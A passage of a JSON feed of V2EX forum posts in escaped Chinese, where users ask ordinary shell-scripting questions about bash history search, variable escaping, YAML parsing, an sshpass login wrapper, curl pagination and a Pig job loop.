      "content_html": "<p>bash \u53ef\u4ee5\u7528 ctrl + r \u6765\u641c\u7d22\u5386\u53f2\u547d\u4ee4\uff0c\u4f46\u662f\u6709\u65f6\u5019\u5339\u914d\u4e0d\u591f\u597d\uff0c\u6240\u4ee5\u6709\u65f6\u5019\u4f1a\u7528 history | grep xxx\uff0c\u6765\u627e\uff0c\u627e\u5230\u4ee5\u540e \u9f20\u6807\u9009\u62e9\u7136\u540e\u590d\u5236\uff0c\u633a\u9ebb\u70e6\u7684\u3002\u53ef\u4ee5\u770b\u5230 history \u6709\u4e2a line num \u4fe1\u606f\uff0c\u662f\u5426\u80fd\u5feb\u901f\u5229\u7528\u8d77\u6765\uff1f</p>\n<ol>\n<li>\u6c42 \u5feb\u901f\u641c\u7d22\u5386\u53f2\u547d\u4ee4\u7684\u65b9\u6cd5\uff0c\u53ef\u4ee5\u5feb\u901f\u5f80\u4e0a\u5f80\u4e0b\u7ffb</li>\n<li>\u6c42 history \u9ad8\u7ea7\u7528\u6cd5\uff0c\u5feb\u901f\u627e\u5230\u67d0\u6761\u5386\u53f2\u547d\u4ee4\uff0c\u5e76\u81ea\u52a8\u751f\u6210\u5728 shell \u7ec8\u7aef</li>\n</ol>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/mifar", 
        "name": "mifar", 
        "avatar": "https://cdn.v2ex.com/avatar/efc1/df82/212942_large.png?m=1587114676"
      }, 
      "url": "https://www.v2ex.com/t/532154", 
      "title": "Shell \u7ed9\u53d8\u91cf\u7684\u8d4b\u503c\u91cc\u5e26 $ \u8981\u600e\u4e48\u5199\uff1f", 
      "id": "https://www.v2ex.com/t/532154", 
      "date_published": "2019-01-31T06:17:14+00:00", 
      "content_html": "<p>\u60f3\u5b9a\u4e49</p>\n<pre><code>VH_ROOT=`$VH_ROOT`\nVH_NAME=\"$VH_NAME\"\n</code></pre>\n<p>\u4f46\u660e\u663e ehco $VH_ROOT \u8f93\u51fa\u4f1a\u662f\u7a7a\u3002</p>\n<p>\u6c42\u89e3\u5982\u4f55 \u4f7f\u7528$VH_ROOT \u8f93\u51fa\u7684\u5c31\u662f $VH_ROOT?</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/Jobin0528", 
        "name": "Jobin0528", 
        "avatar": "https://cdn.v2ex.com/avatar/6034/29d0/36606_large.png?m=1701922687"
      }, 
      "url": "https://www.v2ex.com/t/515954", 
      "date_modified": "2018-12-09T15:34:29+00:00", 
      "content_html": "\u60f3\u7528 shell \u5904\u7406 clash \u7684 yaml \u914d\u7f6e\u6587\u4ef6\uff0c\u627e\u5230\u4e86\u5de5\u5177 shyaml\uff0c\u4f46\u8fd8\u662f\u4e0d\u77e5\u9053\u600e\u4e48\u63d0\u53d6\u51fa name \u4e2d\u5305\u542b\u67d0\u5173\u952e\u5b57\u7684\u8282\u70b9\uff0c\u50cf\u8fd9\u6837\u641c\u5230\u67d0\u4e2a\u5173\u952e\u5b57\uff0c\u8f93\u51fa\u6574\u4e2a\u6570\u7ec4\u4e0d\u5bf9\u884c\u5904\u7406\u8f93\u51fa\u7684\uff0c\u4e0d\u77e5\u9053\u600e\u4e48\u5f04\u4e86\u3002", 
      "date_published": "2018-12-09T15:31:37+00:00", 
      "title": "[\u6c42\u52a9] shell \u5904\u7406 yaml", 
      "id": "https://www.v2ex.com/t/515954"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/xi_lin", 
        "name": "xi_lin", 
        "avatar": "https://cdn.v2ex.com/avatar/ff2d/5fc3/9307_large.png?m=1735572109"
      }, 
      "url": "https://www.v2ex.com/t/507346", 
      "date_modified": "2018-11-13T04:15:43+00:00", 
      "content_html": "<pre><code>ls | grep Camp | xargs cat &gt; CampCombine\n</code></pre>\n<p>\u4e00\u4f1a\u513f\u786c\u76d8\u5c31\u70b8\u4e86\u3002\u3002</p>\n", 
      "date_published": "2018-11-13T04:15:36+00:00", 
      "title": "\u4eca\u5929\u60f3\u5408\u5e76\u6587\u4ef6\u5199\u51fa\u4e2a\u9012\u5f52\u3002\u3002\u3002", 
      "id": "https://www.v2ex.com/t/507346"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/Princeling", 
        "name": "Princeling", 
        "avatar": "https://cdn.v2ex.com/avatar/1afb/2c4a/306240_large.png?m=1539960568"
      }, 
      "url": "https://www.v2ex.com/t/499246", 
      "title": "\u554a\uff0c\u6211\u4e2d\u6bd2\u4e86", 
      "id": "https://www.v2ex.com/t/499246", 
      "date_published": "2018-10-19T10:24:56+00:00", 
      "content_html": "<p>\u4eca\u5929\u5728 windows \u4e0b\u7528 TIM \u804a\u5929\uff0c\u60f3\u5173\u95ed\u7a97\u53e3\u7684\u65f6\u5019\u4e0b\u610f\u8bc6\u7684\u6572\u4e86\u4e2a exit \u548c\u56de\u8f66\u53d1\u51fa\u53bb\u4e86\u3002</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/kuoruan", 
        "name": "kuoruan", 
        "avatar": "https://cdn.v2ex.com/gravatar/67540e543f3d2b3994148bc5a467d6cd?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/488325", 
      "title": "\u5bfb\u4e00\u6bb5 shell \u6765\u5b9e\u73b0\u81ea\u52a8\u586b\u5199 ssh \u767b\u5f55\u5bc6\u7801", 
      "id": "https://www.v2ex.com/t/488325", 
      "date_published": "2018-09-11T12:35:13+00:00", 
      "content_html": "<p>\u975e\u79c1\u94a5\u516c\u94a5\u8ba4\u8bc1\u65b9\u5f0f\uff0c\u4ec5\u901a\u8fc7\u5199\u4e00\u6bb5 shell \u811a\u672c\uff0c\u81ea\u52a8\u83b7\u53d6\u5e76\u8c03\u7528 sshpass \u8f93\u5165\u5bc6\u7801\uff0c\u5b9e\u73b0\u514d\u8f93\u5bc6\u7801\u767b\u5f55</p>\n<p>\u7f51\u4e0a\u627e\u5230\u7684\u89e3\u51b3\u65b9\u6848\uff1a</p>\n<p><a href=\"https://askubuntu.com/a/829837\" rel=\"nofollow\">https://askubuntu.com/a/829837</a>\n<a href=\"https://github.com/Shmadul/easyssh\" rel=\"nofollow\">https://github.com/Shmadul/easyssh</a></p>\n<p>ssh config \u6587\u4ef6\u7c7b\u4f3c\u4e8e\uff0c\u901a\u8fc7\u6ce8\u91ca\u7684\u65b9\u5f0f\u586b\u5165\u5bc6\u7801</p>\n<pre><code>Host host\n    User root \n    #Password passwd\n    HostName localhost\n    Port 2222\n</code></pre>\n<p>\u539f\u811a\u672c\uff1a</p>\n<pre><code>#!/bin/bash\n\nhost=$1\npassword=`awk \"/#Password/ &amp;&amp; inhost { print \\\\\\$2 } /Host/ { inhost=0 } /Host $host/ { inhost=1 }\" ~/.ssh/config`\n\nif [[ -z \"$password\" ]]; then\n  /usr/bin/ssh $*\nelse\n  sshpass -p $password /usr/bin/ssh $*\nfi\n</code></pre>\n<p>\u4f46\u662f\u6d4b\u8bd5\u4e4b\u540e\u65e0\u6cd5\u6b63\u5e38\u83b7\u53d6\u5230 host \u5bf9\u5e94\u7684 Password\uff0c\u5e94\u8be5\u662f awk \u8bed\u53e5\u6709\u95ee\u9898</p>\n<p>\u5e0c\u671b\u5404\u4f4d\u80fd\u5e2e\u5fd9\u770b\u770b\u8fd9 awk \u5e94\u8be5\u600e\u4e48\u5199\uff0c\u8c22\u8c22</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/MrUser", 
        "name": "MrUser", 
        "avatar": "https://cdn.v2ex.com/avatar/9ddd/9f66/329580_large.png?m=1710304840"
      }, 
      "url": "https://www.v2ex.com/t/487476", 
      "title": "\u79c0\u4e00\u4e0b\u539f\u751f\u7684 \u201c\u7ec8\u7aef.app\u201d\uff08bash\uff09", 
      "id": "https://www.v2ex.com/t/487476", 
      "date_published": "2018-09-08T14:02:38+00:00", 
      "content_html": "<p>\u4e0d\u662f zsh + oh my zsh\uff0c\u8fd9\u662f mac \u81ea\u5e26\u7684\u7ec8\u7aef\uff0c\u7528\u7684 bash</p>\n<p><img src=\"https://wx1.sinaimg.cn/mw690/006L3RWlly1fv2h6rnstrj30m50dawp0.jpg\" alt=\"\u7ec8\u7aef.app\"></p>\n<p>\u4e0b\u8fb9\u662f\u8fd9\u4e2a\u6548\u679c\u7684\u914d\u7f6e</p>\n<p><img src=\"https://wx2.sinaimg.cn/mw690/006L3RWlly1fv2h6qcdn7j30hk0fhjx9.jpg\" alt=\"\u504f\u597d\u8bbe\u7f6e\">\n<img src=\"https://wx2.sinaimg.cn/mw690/006L3RWlly1fv2h6rhmhpj30m50dadpb.jpg\" alt=\"\">\n<img src=\"https://wx2.sinaimg.cn/mw690/006L3RWlly1fv2h6rehzuj30m50dan6f.jpg\" alt=\"\">\n<img src=\"https://wx4.sinaimg.cn/mw690/006L3RWlly1fv2h6reyo4j30m50dawnk.jpg\" alt=\"\"></p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/Ger2EX", 
        "name": "Ger2EX", 
        "avatar": "https://cdn.v2ex.com/gravatar/6cab72794006ee3cf9356c338fd1230f?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/478468", 
      "title": "# [\u6c42\u52a9] \u7528 curl \u6293\u53d6\u4e00\u4e2a\u7f51\u7ad9\uff0c\u7f51\u7ad9\u6709\u5f88\u591a\u5206\u9875\uff0c\u4f46\u4e0d\u8bba\u600e\u4e48\u6307 page=[2-100]\uff0c\u6293\u53d6\u7684\u90fd\u53ea\u662f page=1 \u7684\u5185\u5bb9...", 
      "id": "https://www.v2ex.com/t/478468", 
      "date_published": "2018-08-10T01:01:11+00:00", 
      "content_html": "<p>\u672c\u4eba\u7528 curl \u6293\u53d6<code><a href=\"http://www.gmkfreefonts.com/index.php?letter=a&amp;page=3&amp;res=12\" rel=\"nofollow\">http://www.gmkfreefonts.com/index.php?letter=a&amp;page=3&amp;res=12</a></code>\u5185\u5bb9\uff1b\n\u4f46\u8fd4\u56de\u7684\u59cb\u7ec8\u662f<code><a href=\"http://www.gmkfreefonts.com/index.php?letter=a&amp;page=1&amp;res=12\" rel=\"nofollow\">http://www.gmkfreefonts.com/index.php?letter=a&amp;page=1&amp;res=12</a></code>\u7684\u5185\u5bb9\uff1b</p>\n<p>\u6d4f\u89c8\u5668 <code><a href=\"http://www.gmkfreefonts.com/index.php?letter=a&amp;page=3&amp;res=12\" rel=\"nofollow\">http://www.gmkfreefonts.com/index.php?letter=a&amp;page=3&amp;res=12</a></code> \u53ef\u4ee5\u76f4\u63a5\u8df3\u8f6c\u5230 page3</p>\n<pre><code>curl -s http://www.gmkfreefonts.com/index.php?letter=a&amp;page=3&amp;res=12\n</code></pre>\n<p>\u5c0f\u767d\u6574\u4e86\u4e00\u665a\u4e5f\u6ca1\u6574\u660e\u767d\uff0c\u8bf7\u9ad8\u624b\u6307\u70b9 1-2\uff0c\u8c22\u8c22\uff01</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/DongDongXie", 
        "name": "DongDongXie", 
        "avatar": "https://cdn.v2ex.com/gravatar/cf9066a688ba15afbe91f71caafcd8e3?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/475628", 
      "title": "\u8bf7\u95ee\u8fd9\u6bb5 shell \u4ee3\u7801\u6709\u8bbe\u4e48\u95ee\u9898\u5417", 
      "id": "https://www.v2ex.com/t/475628", 
      "date_published": "2018-07-31T05:42:18+00:00", 
      "content_html": "<p>for i in $(seq 1 10)\ndo\ndate=<code>date -d \"$date_base -$i days\" \"+%Y-%m-%d\"</code>\necho $date\nfor cid1 in \"5025\" \"1315\" \"1672\"\ndo\nnohup pig -useHCatalog -param dt=${date} cs=${cid1} join_feature_qq.pig &gt;log/log_$date_$cid1 2&gt;&amp;1 &amp;\ndone\nwait\ndone</p>\n<p>RT\uff0c\u65b0\u624b\u4e0a\u8def\uff0c\u8fd9\u6bb5\u4ee3\u7801\u8001\u662f\u6267\u884c\u4e0d\u6210\u529f\uff0c\u8bf7\u95ee\u6709\u4ec0\u4e48\u95ee\u9898\u5417</p>\n"
    }
  ]
}